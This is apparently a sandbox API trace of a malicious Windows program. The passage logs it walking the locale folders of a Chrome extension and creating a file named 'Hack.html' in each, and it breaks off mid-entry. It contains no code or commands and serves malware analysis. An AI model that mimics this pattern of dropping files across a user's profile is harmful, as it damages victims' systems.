GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\", lpFilePart=0x0) returned 0x93 [0076.046] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.046] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.046] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru", lpFilePart=0x0) returned 0x92 [0076.047] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\", lpFilePart=0x0) returned 0x93 [0076.047] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.047] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.047] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.047] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.048] GetFileType (hFile=0x174) returned 0x1 [0076.048] GetFileType (hFile=0x174) returned 0x1 [0076.049] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk", lpFilePart=0x0) returned 0x92 [0076.049] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\", lpFilePart=0x0) returned 0x93 [0076.049] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.050] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk", lpFilePart=0x0) returned 0x92 [0076.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\", lpFilePart=0x0) returned 0x93 [0076.051] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.051] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.051] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.052] GetFileType (hFile=0x174) returned 0x1 [0076.052] GetFileType (hFile=0x174) returned 0x1 [0076.053] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl", lpFilePart=0x0) returned 0x92 [0076.053] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\", lpFilePart=0x0) returned 0x93 [0076.053] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.053] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.054] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl", lpFilePart=0x0) returned 0x92 [0076.054] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\", lpFilePart=0x0) returned 0x93 [0076.054] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.054] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.054] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.055] GetFileType (hFile=0x174) returned 0x1 [0076.055] GetFileType (hFile=0x174) returned 0x1 [0076.056] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr", lpFilePart=0x0) returned 0x92 [0076.056] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\", lpFilePart=0x0) returned 0x93 [0076.056] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.057] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.057] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr", lpFilePart=0x0) returned 0x92 [0076.057] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\", lpFilePart=0x0) returned 0x93 [0076.058] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.058] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.058] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.058] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.059] GetFileType (hFile=0x174) returned 0x1 [0076.059] GetFileType (hFile=0x174) returned 0x1 [0076.060] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv", lpFilePart=0x0) returned 0x92 [0076.060] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\", lpFilePart=0x0) returned 0x93 [0076.060] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.060] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.061] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv", lpFilePart=0x0) returned 0x92 [0076.061] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\", lpFilePart=0x0) returned 0x93 [0076.061] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.061] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.061] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.062] GetFileType (hFile=0x174) returned 0x1 [0076.062] GetFileType (hFile=0x174) returned 0x1 [0076.063] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw", lpFilePart=0x0) returned 0x92 [0076.063] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\", lpFilePart=0x0) returned 0x93 [0076.063] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.064] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.065] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw", lpFilePart=0x0) returned 0x92 [0076.065] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\", lpFilePart=0x0) returned 0x93 [0076.065] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a328 [0076.065] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0076.065] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\Hack.html", lpFilePart=0x0) returned 0x9c [0076.065] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.066] GetFileType (hFile=0x174) returned 0x1 [0076.066] GetFileType (hFile=0x174) returned 0x1 [0076.067] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.068] GetFileType (hFile=0x174) returned 0x1 [0076.068] GetFileType (hFile=0x174) returned 0x1 [0076.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.070] GetFileType (hFile=0x174) returned 